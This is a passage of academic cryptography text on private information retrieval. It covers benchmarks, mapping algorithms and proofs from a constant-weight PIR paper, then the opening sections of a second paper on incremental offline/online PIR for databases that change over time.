ble 7 compares folklore PIR and constant-weight PIR. This
table shows folklore PIR is much slower than constant-weight
PIR. At n = 512, the parameters of the homomorphic cryp-
tosystem must be increased from N = 8192 to N = 16384
to produce valid, decryptable results. Larger parameters in-
crease the runtime drastically. Consequently, constant-weight
PIR is the first practical PIR protocol using equality operators.
Table 7 includes runtimes for constant-weight PIR when run
in parallel to demonstrate practicality.

3https://github.com/RasoulAM/constant-weight-pir
4https://github.com/microsoft/SEAL
5https://github.com/OpenMined/PIR

Table 7: Runtime of PIR protocols using equality operators for
a response size of one plaintext. Runtimes are in seconds and
an average of 10 runs. *This parameter set did not produce a
decryptable result.

Time (s)
# of

Rows
DB Size

(MB)
Code

Length Expansion Sel. Vec.
Calculation

Inner
Product Total Server

Folklore, N = 8192 (Query = 216 KB, Response = 106 KB)

256 8 5 0.06 58 0.9 60
512∗ 9 10 0.1 130 1.7 130

Folklore, N = 16384 (Query = 913 KB, Response = 224 KB)

512 21 9 0.8 650 7.4 660
1024 42 10 0.8 1500 14 1500
2048 84 11 0.8 3300 29 3300
4096 170 12 0.8 7200 56 7200
8192 340 13 0.8 16000 120 16000

16384 670 14 0.8 35000 250 35000

Constant-weight k = 2,N = 8192, (Query = 216 KB, Response = 106 KB)

Single-thread

256 5.2 24 0.3 8.3 0.9 9.7
512 10 33 0.5 17 1.7 19

1024 21 46 0.5 33 3.5 38
2048 42 65 1 67 6.9 75
4096 84 92 1 130 13 150
8192 170 129 2 270 27 300

16384 340 182 2 540 55 600
32768 670 257 5 1100 110 1200
65536 1300 363 5 2300 230 2500

Parallelized

256 5.2 24 0.1 0.5 0.3 1.1
512 10 33 0.1 0.7 0.5 1.6

1024 21 46 0.2 1.4 1.2 2.9
2048 42 65 0.2 2.9 2.4 5.6
4096 84 92 0.3 5.7 4.6 11
8192 170 129 0.3 11 9.2 21

16384 340 182 0.4 22 18 41
32768 670 257 0.6 44 34 79
65536 1300 363 0.7 87 70 160
131072 2700 513 1.2 170 140 320
262144 5400 725 1.4 340 290 640

Another observation from Table 6 is that the download cost
of SealPIR is larger compared to the other protocols. Table 8
shows the upload, download, and total communication cost
for a payload data of one plaintext. For larger payloads, the
high download cost of SealPIR is multiplied by the number
of plaintexts in the payload data. Hence, constant-weight
PIR and MulPIR have a lower communication cost for large
payload data and streaming data.

Table 8: Upload, download, and total communication cost for
payload data equal to one plaintext.

Upload Cost Download Cost Total Comm.

SealPIR 61.4 KB 307 KB 368.4 KB
MulPIR 122 KB 119 KB 241 KB

Constant-weight PIR 216 KB 106 KB 322 KB

Next, we analyze the effect of larger payload data on the
runtime of the protocols. We focus our attention to comparing
MulPIR and constant-weight PIR as they have similar com-
munication complexity. Runtimes for SealPIR are given in
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Appendix D. MulPIR (and SealPIR) must repeat the server
computation (except the expansion step) for each plaintext
in the payload. This applies to other approaches using se-
lection vectors as well. In constant-weight PIR, only the
inner product step must be repeated for each plaintext in the
payload.

To show this effect, we perform PIR over a database with
n = 16384 rows with various, large, payload sizes. Figure 2
shows the runtime of the constant-weight PIR (with k = 2) as
a function the payload size. The implementation of MulPIR
by OpenMined does not support large payloads, so we provide
a lower bound of the runtime of MulPIR (with d = 2) based
on the server time for a payload of one plaintext.

As seen in Figure 2, the runtime of constant-weight PIR is
higher than MulPIR for a small payload but grows at a slower
rate. Eventually, constant-weight PIR outperforms MulPIR
when the payload size exceeds 268 KB. This corresponds to
a database size of about 4.3 GB.
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Figure 2: Runtime of constant-weight PIR and an estimation
of the runtime of MulPIR for large payloads.

To summarize, constant-weight PIR outperforms folklore
PIR in all cases. It also has a smaller communication com-
plexity and lower runtime compared to SealPIR and MulPIR,
respectively, when the payload size increases.

6 Analysis of Constant-weight Keyword PIR

In this section, we show how constant-weight PIR performs
over a sparse database. We first motivate our approach to
keyword PIR by discussing the private file retrieval as an
application. We also argue about the modifications required
for MulPIR and SealPIR to allow for keyword PIR without
reducing the problem to index PIR.

Keyword PIR for Private File Retrieval. Private file re-
trieval is a setup, similar to that of PIR, where the items that
are retrieved are large, e.g. files or documents. Private re-
trieval of large items has been discussed in the literature [16]
which differs from the case where only a single bit is retrieved.
Solutions based on ORAM come at a high communication
cost [29, 32]. Specifically, the response size is O(` logn)
in the worst case for retrieving an item of size ` amongst n
elements.

PIR is a suitable solution for this problem given that it
can achieve asymptotically optimal communication complex-
ity [29]. Keyword PIR provides the additional feature of
retrieving documents by identifiers instead of an index in a
directory.

Constant-weight keyword PIR is a practical keyword PIR
protocol that can be used for private file retrieval. More-
over, constant-weight PIR is performed without the use of a
hash-table to store the identifiers or multiple rounds of com-
munication, which is in contrast to the existing approaches
for keyword PIR [4, 15]. This is useful in the presence of
many users with unreliable connections and low bandwidth.
Particularly in solutions that store the identifiers using a hash-
table, updates to the database may require a change in the
parameters of the hash function to avoid collisions. An addi-
tional round of communication is required for each query to
communicate new hash function parameters to the user.

Table 9 shows example runtimes of constant-weight PIR
used to retrieve files from a database with large items. In
the next subsection, we provide a finer analysis of the cost of
constant-weight keyword PIR. The experiments in Table 9
were performed on an Intel(R) Xeon(R) CPU E7-8860 v4
@ 2.20GHz running Ubuntu 20.04. The experiments are
parallelized over 144 cores to achieve the best possible perfor-
mance. The results are only to demonstrate practicality and
can easily be enhanced using hardware accelerators (GPUs)
or accelerators for the homomorphic encryption libraries such
as HEXL [10].

Table 9: Server runtimes for Constant-weight PIR of large
payloads.

Keyword
Bitlength

Number of
Items (n)

Database
Size (GB)

Item
Size (MB)

Server
Time (s)

16

1000

1.3 1.3 51.9
2.6 2.6 107
5.2 5.2 200

10.0 10.0 369

10000

13.0 1.3 508
26.0 2.6 878
52.0 5.2 1670
100.0 10.0 3250

32

1000

1.3 1.3 59
2.6 2.6 111
5.2 5.2 212

10.0 10.0 354

10000

13.0 1.3 506
26.0 2.6 869
52.0 5.2 1700
100.0 10.0 3180

48

1000

1.3 1.3 71.3
2.6 2.6 129
5.2 5.2 208

10.0 10.0 380

10000

13.0 1.3 541
26.0 2.6 922
52.0 5.2 1720
100.0 10.0 3300
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Analysis of PIR for Sparse Domains. Table 10 shows
the properties of the PIR protocols, adjusted for when the
database is sparse. n and |S| denote the number of rows in the
database and the size of the domain from which the query is
selected, respectively.

Table 10: Properties of SealPIR, MulPIR, and constant-
weight PIR when used for keyword PIR.

Method Mult
Depth

Query
Bit-length

# of Operations
(Excluding Expansion)

Download
Cost (in cts)

SealPIR d−1 d
⌈

d
√
|S|
⌉

n ·PM+∑
d−1
i=1 |S|

d−i
d F i ·PM Fd−1

MulPIR d−1 d
⌈

d
√
|S|
⌉

n ·PM+∑
d−1
i=1 |S|

d−i
d ·M 1

CwPIR dlogke O
(

k
√

k!|S|+ k
)

nk ·M+n ·PM 1

We argue that constant-weight PIR is minimally affected
by sparsity in the database and it is a suitable solution for
keyword PIR. Table 10 supports this argument, as the number
of operations (excluding expansion) for constant-weight PIR
does not depend on the size of the domain. We exclude
folklore PIR from this section entirely since it follows the
same approach as constant-weight PIR and is strictly slower.

Table 10 also shows the query bit-length of each method.
The query bit-length determines the communication cost in
the protocol and also affects the computation cost, specifi-
cally the expansion step. This query bit-length is affected
by the domain size and is equal to the length of the constant-
weight code that is used in constant-weight PIR. SealPIR and
MulPIR use the same type of encoding for PIR queries which
essentially calculates the position of the desired row of the
database when restructured into a d-dimensional table. We
denote this as a dimension-wise encoding in this section.

Table 11: Bit-length of the query in different protocols

Domain
Bit-length
(log2 |S|)

Constant-weight code size Dimension-wise
depth=0 depth=1 depth=2 depth=0 depth=1 depth=2

k=1 k=2 k=3 k=4 d=1 d=2 d=3

4 16 7 6 7 16 8 9
6 64 12 9 8 64 16 12
8 256 24 13 11 256 32 21
10 1024 46 20 15 1024 64 33
12 4096 92 31 20 4096 128 48
14 16384 182 48 27 16384 256 78
16 65536 363 75 37 65536 512 123
18 262144 725 118 52 262144 1024 192
20 - 1449 186 73 - 2048 306
22 - 2897 295 102 - 4096 486
24 - 5794 467 144 - 8192 768
26 - 11586 740 202 - 16384 1221
28 - 23171 1174 285 - 32768 1938
30 - 46342 1862 403 - 65536 3072
32 - 92683 2955 569 - 131072 4878
34 - 185365 4690 803 - 262144 7743
36 - 370729 7444 1135 - 524288 12288
38 - 741456 11816 1605 - 1048576 19506
40 - - 18756 2268 - - 30966
42 - - 29773 3207 - - 49152
44 - - 47261 4535 - - 78024
46 - - 75021 6413 - - 123858
48 - - 119088 9068 - - 196608

Table 11 shows the number of bits required to represent

a query using a constant-weight codeword and a dimension-
wise encoding as a function the domain bit-length, log2 |S|.
The constant-weight code length is shown for four different
values of k, the Hamming weight. In the last three columns,
we derive the bit-length of the dimension-wise encoding. The
depth refers to the multiplicative depth in a PIR protocol using
the set of parameters in that column.

There are multiple observations from this table. Firstly,
larger k or d (and higher multiplicative depth in turn) drasti-
cally reduces the bit-length of the query. Given this observa-
tion, a fair comparison between the constant-weight code and
dimension-wise encoding is comparing those with the same
multiplicative depth since the multiplicative depth directly
impacts the performance. For the same multiplicative depth,
the constant-weight code is smaller than the dimension-wise
encoding. Figure 3 visualizes this for even larger domain
sizes and higher multiplicative depths. Note that the scale
on the vertical axis is logarithmic and the gap between the
size of the codes increases as the domain size increases and a
larger multiplicative depth is used.
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Figure 3: Encoding size as a function of multiplicative depth

The size of the query can also affect the server runtime in
the protocol. Figure 4 shows the runtime of keyword PIR over
a database of with n = 16384 rows and payload size of one
plaintext (roughly 20.1 KB) which corresponds to a database
of about 330 MB. We vary the domain size to examine the
effect on the overall runtime, which is influenced by the query
bit-length.

The runtime of the protocol consists of the expansion step,
and the iteration step (which is the selection vector calculation
and inner product combined). We report numbers for k ∈
{2,3,4} since we know that k = 1 produces an encoding size
that is prohibitively large. Each plot in Figure 4 is for one
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Figure 4: Total server time of constant-weight keyword PIR
as a function of the domain size for three different Hamming
weights. The shaded areas indicate the amount of time re-
quired for the expansion step.

value of k. The shaded area beneath each plot indicates the
amount of time required for the expansion step.

Initially, for log2 |S| ≤ 27, k = 2 has the smallest server
time. However, when log2 |S| approaches 28, the expansion
time constitutes a significant portion of the server time and a
switch to k = 3 results in a smaller total server time. Similarly,
when log2 |S| reaches 41, a switch to k = 4 produces the best
results. Notice how the runtime excluding the expansion
step does not change significantly for all values of k and the
time required for the expansion step eventually becomes the
dominant factor when the domain size increases.

7 Conclusion

In this work, we proposed equality operators for constant-
weight codewords. We showed how these operators are up
to 10 times faster than folklore equality operators. Further-
more, we proposed constant-weight PIR, a PIR protocol using
equality operators which is an approach that was previously
assumed to be impractical. We showed how the communi-
cation and computation cost of constant-weight PIR grows
at a slower rate compared to SealPIR and MulPIR, respec-
tively. Furthermore, we showed how constant-weight PIR
is extended to keyword PIR to be the first practical, single-
round, single-server keyword PIR protocol. We provided a
detailed analysis of effect of a large domain on the runtime
of constant-weight keyword PIR and discussed how it can be
used for applications such as private file retrieval.
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A Mappings to Constant-weight Codewords

In this section, we propose additional techniques to map ele-
ments to constant-weight codewords. As a reminder, the goal
is for the mapping (and inverse mapping) procedure to be
efficient and less expensive than storing an equivalence table.

Algorithm 7 INVERSE PERFECT MAPPING

Input: y ∈CW (m,k)

1: x = 0
2: h = 1
3: for m′ ∈ [m] do
4: if y[m′] = 1 then
5: x = x+

(m′
h

)
6: h = h+1

Output: x ∈ N0

Perfect Mapping. The perfect mapping was described in
Section 3. Since the mapping is one-on-one, there also exists
an inverse mapping which is described in Algorithm 7. Sim-
ilar to the mapping, the complexity of the inverse mapping
procedure is O(m+ k).

The perfect mapping also preserves the order between the
mapped elements. This is useful in applications where it is
important to preserve the ordering of elements in the domain,
e.g., comparison operators.

Lossy Mapping. In some cases, we may need to map ele-
ments of some large domain to constant-weight codewords
but the size of the domain is too large to assign a distinct
codeword to each element. Recall that if S is the domain, the
code length, m, needs to be chosen such that

(m
k

)
≥ |S| which

results in a prohibitively large m.
To address this issue, we propose a lossy mapping inspired

by Bloom filters. The procedure for the lossy mapping is
given in Algorithm 8.

Algorithm 8 LOSSY MAPPING

Parameters: Series of uniformly random hash functions
(Hi : S 7→ [m])i∈N
Input: x ∈ S,m,k ∈ N

1: cnt← 0
2: i← 1
3: y← 0m

4: while cnt < k do
5: m′ = Hi(x)
6: if y[m′] = 0 then
7: y[m′] = 1
8: cnt = cnt +1
9: i = i+1

Output: y ∈CW (m,k)

Based on the definition, a probability exists that unequal
elements of the domain are mapped to the same codeword
which is formalized in the following theorem.
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Theorem 2. In Algorithm 8, assume (Hi : S 7→ [m])i∈N is a
series of uniformly random hash functions and Mm,k(x) is the
output of the algorithm for input x, m, and k with (Hi)i∈N as
the parameters. For two randomly chosen elements x,y ∈ S
such that x 6= y,

P [Mm,k(x) = Mm,k(y)] =
1(m
k

) . (7)

Proof. To prove this theorem, it suffices to prove that for any
given codeword in the range of Mm,k(x) such as c,

P [Mm,k(x) = c] =
1(m
k

) .
We prove this by induction over k. For k = 1, it is easy to see
that

P [Mm,1(x) = c] =
1
m

for any c ∈ Range(Mm,1(x)).
Let I(c) denote the positions in the codeword c where the

bit is set to one. For k > 1, the probability that H1(x) ∈ I(c)
is equal to k

m . By induction, the probability that set of the
next k−1 distinct outputs in the series (Hi(x))i≥2 is equal to
I(c)−{H1(x)} is equal to 1

(m−1
k−1)

. Hence

P [Mm,k(x) = c] =
k
m

1(m−1
k−1

) = 1(m
k

) .

Due to the lossy nature of the mapping, an inverse mapping
is not available for the lossy mapping.

B Correctness of Algorithm 5

Theorem 3. The output of Algorithm 5 is identical to that of
Algorithm 1.

Proof. To prove the correctness of the oblivious expansion
in Algorithm 5, we prove it is equivalent to the oblivious
expansion of SealPIR, shown in Algorithm 1. Also, let Sub
denote the substitution operation For this, we prove that line
4–7 of Algorithm 1 is equivalent to line 7–12 of Algorithm 5.

In Algorithm 1, denote cts[b] on line 4 by m(x) for simplic-
ity. By executing lines 4 to 7, of the protocol, we can see that
the new values for cts[b] and cts[b+2a] are

cts[b]← m(x)+SubN/2a+1(m(x))

cts[b+2a]← x−2a ·m(x)+SubN/2a+1(x
−2a ·m(x))

Similarly for Algorithm 5 and denoting cts[b] on line 7 as
m(x), by executing lines 7 to 12, the new values for cts[b] and
cts[b+2a] are

cts[b]← m(x)+SubN/2a+1(m(x))

cts[b+2a]← x−2a ·m(x)− x−2a ·SubN/2a+1(m(x))

So cts[b] gets the same value after both protocols. To
show that cts[b+2a] also gets the same value, it suffices to
show that SubN/2a+1(x−2a ·m(x)) =−x−2a ·SubN/2a+1(m(x))
which can be proven as follows:

SubN/2a+1(x
−2a ·m(x)) = (xN/2a+1)

−2a

·m(xN/2a+1)

= x−N−2a ·m(xN/2a+1)

= −x−2a ·m(xN/2a+1)

= − x−2a ·SubN/2a+1(m(x))

C Runtimes for Parallelized Operators

Runtimes for parallelized plain operators are given in Table 12.
The runtimes in this table all have at most a 2 times speedup
compared to the non-parallel version of the corresponding
operator. The speedup for the folklore operator does not
differ substantially from the speedup of the constant-weight
operators.

Runtimes for parallel arithmetic operators are also given in
Table 12. Unlike the parallel operators, there is a substantial
difference in the speedup that the folklore and constant-weight
operators gain from parallelization. The folklore operator
gains at most a 2 times speedup whereas the folklore operators
gains up to a 10 fold speedup.

D Detailed Runtimes of the Unary Approach,
SealPIR and MulPIR

The unary approach occurs when k = 1 in constant-weight
PIR, or when d = 1 in SealPIR and MulPIR. In this ap-
proach, the selection vector in its entirety is communicated
over the network. In the unary approach, no expensive ho-
momorphic operations such as homomorphic multiplications
are performed. There is also no layered encryption as done
in SealPIR. Hence, the server time is smaller than other pro-
tocols shown in this work. However, since the size of the
selection vector is on the order of the number of rows in the
database, the upload cost rises quickly as the number of rows
grows. The upload cost becomes impractical very early, hence
it is not a suitable solution for databases with a large number
of rows.

We also provide numbers for SealPIR and MulPIR for
payload of one plaintext in Table 13.
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Table 12: Runtimes for plain and arithmetic equality operators
in milliseconds when run in parallel. Dashes indicate cases
where the ciphertext was undecryptable due to homomorphic
noise. k and m denote the Hamming weight and constant-
weight code length, respectively.

Plain Operators
n 28 216 232 264 2128 2256 2512

Plain
Folklore

` 8 16 32 64 128 256 512
Mult Depth 3 4 5 6 7 8 9
N = 8192 0.20 0.25 - - - - -

N = 16384 0.74 0.96 1.3 1.9 2.7 4.3 7.6

Plain
Constant-

weight
k = log2 n

k 8 16 32 64 128 256 512
Mult Depth 3 4 5 6 7 8 9

m 12 22 43 85 168 334 665
N = 8192 0.18 0.28 - - - - -

N = 16384 0.58 1.0 1.2 1.9 2.6 4.1 6.9

Plain
Constant-

weight
k = 1

2 log2 n

k 4 8 16 32 64 128 256
Mult Depth 2 3 4 5 6 7 8

m 11 19 36 68 132 261 517
N = 8192 0.15 0.18 0.24 - - - -

N = 16384 0.37 0.75 0.87 1.4 2.1 2.8 4.1

Plain
Constant-

weight
k = 1

4 log2 n

k 2 4 8 16 32 64 128
Mult Depth 1 2 3 4 5 6 7

m 24 37 64 117 221 427 838
N = 4096 0.027 - - - - - -
N = 8192 0.058 0.11 0.22 0.25 - - -

N = 16384 0.18 0.5 0.76 1.03 1.3 1.8 2.6

Plain
Constant-

weight
k = 1

8 log2 n

k 1 2 4 8 16 32 64
Mult Depth 0 1 2 3 4 5 6

m 256 363 569 968 1749 3290 6349
N = 4096 0.0001 0.028 - - - - -
N = 8192 0.0005 0.067 0.14 0.22 0.27 - -

N = 16384 0.002 0.2 0.53 0.73 1.1 1.4 1.8

Arithmetic Operators
n 28 216 232 264 2128 2256 2512

Plain
Folklore

` 8 16 32 64 128 256 512
Mult Depth 3 4 5 6 7 8 9
N = 8192 0.43 - - - - - -

N = 16384 1.7 3.1 5.6 10 20 38 74

Arithmetic
Constant-

weight
k = log2 n

k 8 16 32 64 128 256 512
Mult Depth 4 5 6 7 8 9 10

m 12 22 43 85 168 334 665
N = 8192 0.29 - - - - - -

N = 16384 1.0 1.4 2.0 2.7 4.4 8.2 14

Arithmetic
Constant-

weight
k = 1

2 log2 n

k 4 8 16 32 64 128 256
Mult Depth 3 4 5 6 7 8 9

m 11 19 36 68 132 261 517
N = 8192 0.22 0.36 - - - - -

N = 16384 0.84 1.1 1.6 2.6 4 6.5 9.5

Arithmetic
Constant-

weight
k = 1

4 log2 n

k 2 4 8 16 32 64 128
Mult Depth 2 3 4 5 6 7 8

m 24 37 64 117 221 427 838
N = 8192 0.29 0.42 - - - - -

N = 16384 0.70 1.0 1.5 2.8 4.2 7.1 12

Arithmetic
Constant-

weight
k = 1

8 log2 n

k 1 2 4 8 16 32 64
Mult Depth 1 2 3 4 5 6 7

m 256 363 569 968 1749 3290 6349
N = 4096 0.44 - - - - - -
N = 8192 0.81 1.1 1.6 - - - -

N = 16384 3.0 4.5 7.0 12 20 37 73

Table 13: Runtime of PIR protocols for a response size of one
plaintext. Runtimes are in seconds and an average of 10 runs.
*This parameter set did not produce a decryptable result

Time (s)
# of

Rows
DB Size

(MB)
Code

Length Expansion Sel. Vec.
Calculation

Inner
Product Total Server

Folklore, N = 8192 (Query = 216 KB, Response = 106 KB)

256 8 5 0.06 58 0.9 60
512∗ 9 10 0.1 130 1.7 130

Folklore, N = 16384 (Query = 913 KB, Response = 224 KB)

512 21 9 0.8 650 7.4 660
1024 42 10 0.8 1500 14 1500
2048 84 11 0.8 3300 29 3300
4096 170 12 0.8 7200 56 7200
8192 340 13 0.8 16000 120 16000

16384 670 14 0.8 35000 250 35000

Unary, N = 4096 (Response = 46 KB)

256 2.6 256 0.5 0.009 0.2 0.8
512 5.2 512 1 0.02 0.4 1.4
1024 10 1024 1.9 0.05 0.8 2.8
2048 21 2048 3.8 0.2 1.7 5.7
4096 42 4096 7.7 0.5 3.3 11
8192 84 8192 15 1.9 6.4 24

16384 170 16384 30 6.7 13 49
32768 340 32768 59 23 25 110
65536 670 65536 120 87 52 260

131072 1300 131072 240 340 110 680

Constant-weight k = 2,N = 8192, (Query = 216 KB, Response = 106 KB)

256 5.2 24 0.3 8.3 0.9 9.7
512 10 33 0.5 17 1.7 19
1024 21 46 0.5 33 3.5 38
2048 42 65 1 67 6.9 75
4096 84 92 1 130 13 150
8192 170 129 2 270 27 300

16384 340 182 2 540 55 600
32768 670 257 5 1100 110 1200
65536 1300 363 5 2300 230 2500

SealPIR d = 2,N = 4096 (Query = 61.4 KB, Response = 307 KB)

512 4.98 46 - - - 0.34
1024 9.96 64 - - - 0.46
2048 19.9 92 - - - 0.80
4096 39.8 128 - - - 1.2
8192 79.6 182 - - - 2.2

16384 159 256 - - - 3.7
32768 318 364 - - - 7.0
65536 637 512 - - - 12

131072 1275 726 - - - 24
262144 2550 1024 - - - 50
524288 5100 1450 - - - 100
1048576 10200 2048 - - - 200
2097152 20401 2898 - - - 430

MulPIR d = 2,N = 8192 (Query = 122 KB, Response = 119 KB)

256 4.98 32 - - - 2.3
512 9.96 46 - - - 4.1
1024 19.9 64 - - - 6.8
2048 39.8 92 - - - 12
4096 79.6 128 - - - 22
8192 159 182 - - - 44

16384 318 256 - - - 83
32768 637 364 - - - 160
65536 1275 512 - - - 320

131072 2550 726 - - - 630
262144 5100 1024 - - - 1200
524288 10200 1450 - - - 2500
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Incremental Offline/Online PIR
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Abstract. Recent private information retrieval (PIR)
schemes preprocess the database with a query-independent
offline phase in order to achieve sublinear computation during
a query-specific online phase. These offline/online protocols
expand the set of applications that can profitably use PIR,
but they make a critical assumption: that the database is
immutable. In the presence of changes such as additions,
deletions, or updates, existing schemes must preprocess the
database from scratch, wasting prior effort. To address this,
we introduce incremental preprocessing for offline/online
PIR schemes, allowing the original preprocessing to continue
to be used after database changes, while incurring an update
cost proportional to the number of changes rather than
the size of the database. We adapt two offline/online PIR
schemes to use incremental preprocessing and show how it
significantly improves the throughput and reduces the latency
of applications where the database changes over time.

1 Introduction
Private information retrieval (PIR) [22] is an incredibly useful
cryptographic building block that allows a client to download
an object from a database without revealing which object
was fetched. PIR has many applications, including privacy-
preserving video streaming [3, 35], password checking [4],
blocklists [40], ad delivery [34], friend discovery [12], sub-
scriptions [20], and anonymous messaging [6, 42, 47]. While
powerful, PIR is expensive: PIR imposes a computational
linear lower bound since the database must operate on all
objects in order to answer a query. After all, if even a single
object is omitted when answering a query this would leak that
this object is of no interest to the client.

The existence of this computational lower bound is unfor-
tunate, as it limits the scale of applications that can profitably
use PIR. But there is still hope! There is an active line of
work [5, 8, 15, 18, 23, 45, 50, 51] that pursues the idea of
preprocessing the database to generate auxiliary information
or hints (which could be stored at the server or clients depend-
ing on the proposal) during an offline phase, and then use the
hints during an online phase to answer one or more queries
with sublinear computation and communication. This is an
exciting proposition, as it enables applications that require
quick answers for (online) queries to large databases, but that
can afford an expensive query-independent preprocessing.

A major implicit assumption in all of the above works is
that the PIR database is immutable. That is, once it has been
preprocessed, no new items will be added, deleted, or updated.

Should the database change, under all existing schemes, it is
necessary to redo the expensive offline phase—defeating in
many cases the benefits of preprocessing. Meanwhile, many
of the proposed applications that use PIR naturally experi-
ence at least some moderate content churn. For example, Pop-
corn [35], which implements a private video service where
clients stream movies using PIR, must deal with movies being
added, deleted, or modified (e.g., to change codec) occasion-
ally. Similarly, anonymous messaging systems like Pung [6]
and Talek [20] have databases where new elements (messages)
are added every few minutes, while contact discovery services
like DP5 [12] have users creating and deleting accounts.

This paper extends offline/online PIR schemes to support
mutable databases where the content can change at any time
by introducing the notion of incremental preprocessing. The
result is an incremental offline/online PIR scheme where ad-
ditions, deletions, and edits to the database do not require a
complete preprocessing after every change. Instead, the hints
are updated at a cost that is proportional to the number of
changes. To demonstrate the feasibility and benefits of incre-
mental preprocessing, we extend two recent two-server of-
fline/online PIR protocols: (1) the Corrigan-Gibbs and Kogan
scheme (CK) [23], and (2) the Shi, Aqeel, Chandrasekaran,
and Maggs scheme (SACM) [51]. Our experimental evalua-
tion confirms that the savings of our approach are consider-
able. In a database with 1 million items, the computational
cost of updating the hints in our incremental CK scheme (iCK)
for a batch of 10,000 updates (additions, deletions, edits) is
56× cheaper than preprocessing from scratch; the savings are
even more pronounced when there are fewer updates. Fur-
thermore, an implementation of PIR-Tor [47] that uses our
iCK construction improves the throughput achieved by Tor
directory nodes by roughly 7× over an implementation of
PIR-Tor that uses a state-of-the-art 2-server PIR scheme [13].

Our extensions to make these schemes incremental, how-
ever, come at a modest cost. For iCK, the cost is a small
increase in storage at the client to keep additional auxiliary
material needed for the client to construct the right query
during the online phase, and a larger (though still sublinear
and concretely very efficient) queries during the online phase.
For our incremental version of SACM, called iSACM, the
cost is higher online communication (though still sublinear
in the size of the updated database), since our construction is
not compatible with a specific cryptographic primitive used
in SACM (a private puncturable PRF [51]).
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Limitations. Our incremental preprocessing schemes work
best when the database changes slowly (e.g., a few percent of
entries are added, deleted, or updated at a given time). When
the database changes significantly (e.g., doubles or triples in
size), maintaining multiple preprocessed databases and query-
ing all of them might be a better choice [40]. We also note
that there is an interesting complication that occurs when one
wishes to use PIR by keywords [21] with offline/onlne PIR
protocols that support mutations. In PIR by keywords, clients
can fetch an object from the database by using a meaningful
label or “keyword” rather than an index. Prior works [4, 6, 21]
accomplish this by structuring the database in a search data
structure (e.g., binary search tree) and performing the search
obliviously over this data structure using a PIR scheme as a
black box. However, when the database mutates, this triggers
a series of changes to the underlying search data structure
(e.g., BST tree rotations) that negate the validity and useful-
ness of the hints generated during the offline preprocessing
phase of existing offline/online PIR schemes. Finding a satis-
fying solution remains an open question.

2 Background and related work
This section surveys existing offline/online PIR constructions,
and the issues that arise when the database is updated due to
objects being deleted, edited, or inserted.

Private Information Retrieval (PIR) Chor et al. [22] intro-
duce private information retrieval to allow a client to retrieve
an object from a database managed by an untrusted server
(or set of servers) without the server(s) learning which ob-
ject was retrieved by the client and with total communication
costs that are sublinear in the size of the database. There are
two general deployment models for PIR: multi-server and
single-server. In multi-server PIR [7, 13, 22, 24, 25, 31, 48]
the database is replicated across two or more non-colluding
servers, and the client issues a query to each server and lo-
cally combines all responses. On the other hand, single-server
PIR protocols [3–5, 16, 17, 19, 27, 29, 38, 41, 43, 44, 52] are
significantly more (computationally) expensive and require
making cryptographic hardness assumptions. In exchange,
they avoid making non-collusion assumptions.

The allure of preprocessing. Beimel et al. [8, §4] prove that
if the database has no redundancies (i.e., neither the servers
nor the client store any redundant bits to serve as auxiliary
values), PIR requires Ω(n) total server-side computation to
answer a single client query, where n is the number of ele-
ments in the database. To circumvent this unfortunate lower
bound, they introduce the notion of preprocessing: by push-
ing the inevitable linear computation to a query-independent
offline phase and generating auxiliary data or hints along the
way, the computational cost of answering a query during an
online phase with the help of the hints can be sublinear in n.

Given the above, a natural question is where the hints
should be stored? Several works [8, 15, 18] propose that

they be stored at the servers. For example, Beimel et al.[8]
give a two-server PIR protocol that uses O(n1+ϵ) extra bits
at the servers in exchange for online queries that require
O(n/ϵ2 log2 n) server computation. On the other hand, re-
cent proposals [23, 50, 51] push the hints to the clients. For
instance, Corrigan-Gibbs and Kogan [23] give a two-server
PIR construction that stores O(

√
n) bits at the client and

obtain O(
√
n) server computation for online queries.

The challenge of mutability. Regardless of who stores the
hints, all of the above works have preprocessing schemes
where the hints depend on all items in the database. As a
result, if a single items changes, is deleted, or a new item
is added, the hints are no longer useful to generate online
PIR queries; it becomes necessary to update the hints. To
our knowledge, none of the existing works propose a way to
update these hints in an efficient fashion that avoids redoing
the preprocessing from scratch.

In independent work, Checklist [40] explores the idea of an
offline/online PIR database that supports additions. Despite
the similar objectives, our approaches are fundamentally dif-
ferent. Checklist leverages ideas from ORAM [33], dividing
the database into “buckets” whose capacity grows exponen-
tially, where the initial data is held on the last (largest) bucket,
and new objects are added to the earliest (smallest) bucket—
overflowing to larger buckets if necessary. To fetch an object,
the client queries all of the roughly log n buckets (as other-
wise the client would leak which bucket contains the desired
item). The key idea behind this scheme is that while updates
to a bucket require redoing the preprocessing for that bucket
from scratch to obtain the new hints, most updates impact
smaller buckets and larger buckets change less frequently—
hence the savings. In contrast, our work aims to make the
preprocessing itself incremental; our techniques could help
Checklist ensure that larger buckets need not be preprocessed
from scratch. Furthermore, our technique does not require the
online server to maintain log n buckets and does not increase
the number of objects fetched by the client per query—which
could be significant when objects are large.

3 Overview
In this work we consider a setting in which a PIR server
(or servers) holds a large database consisting of n fixed-sized
objects. The server preprocesses the database during an offline
phase to generate hints (auxiliary information that speeds up
the online phase) and either stores these hints or gives them to
clients (depending on the scheme). Clients can then query this
preprocessed database during an online phase and retrieve
an item privately with both computation and communication
costs sublinear in n. Over time, the database mutates: new
objects are added and existing objects are modified or deleted.
We will assume that the number of mutations at a given time,
m, is much smaller than n (otherwise one might as well rerun
the preprocessing on the modified database from scratch). Our
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goal is to construct preprocessing schemes that (1) enable
efficient online queries; and (2) are incremental, in the sense
that updating the hints comes at a cost to the servers and
clients that is proportional to m rather than n+m.

In the rest of this section we give a formal definition of
offline/online PIR, discuss the additional functionality that
we seek to support mutable databases, and then give con-
crete incremental preprocessing schemes for two existing
offline/online PIR constructions.

3.1 Offline/Online PIR (OO-PIR)

We build on the definitions of the offline/online PIR (OO-
PIR) model given by Corrigan-Gibbs and Kogan [23]. In
particular, we restrict our focus to two-server PIR (we discuss
the single server case in Section 9). In this setting there are
two servers: the offline and the online server. The servers are
semi-honest: they do not collude but are interested in learning
which objects the client is fetching from the database. Below
we give the definition for the single-query case; we discuss
multiple queries in Section 4.1.

Notation. We consider a database D, which is replicated
across both the offline and online servers and consists of n
items of size b bits. We view D as an array; D[i] represents
the i-th item in D. We use [x, y] to denote the set consisting of
consecutive integers {x, . . . , y} where x ≤ y. For simplicity,
when x = 1, we use [y] to denote the set {1, . . . , y}. For a set
S and an integer c, we use S+c to denote a set {x+c|x ∈ S}.
In addition, we assume + has the highest precedence among
all set operations.

Definition 1 (Offline/Online PIR [23]). An OO-PIR proto-
col consists of four algorithms (Prep,Query,Resp,Recov)
defined over a database D of n items as follows:

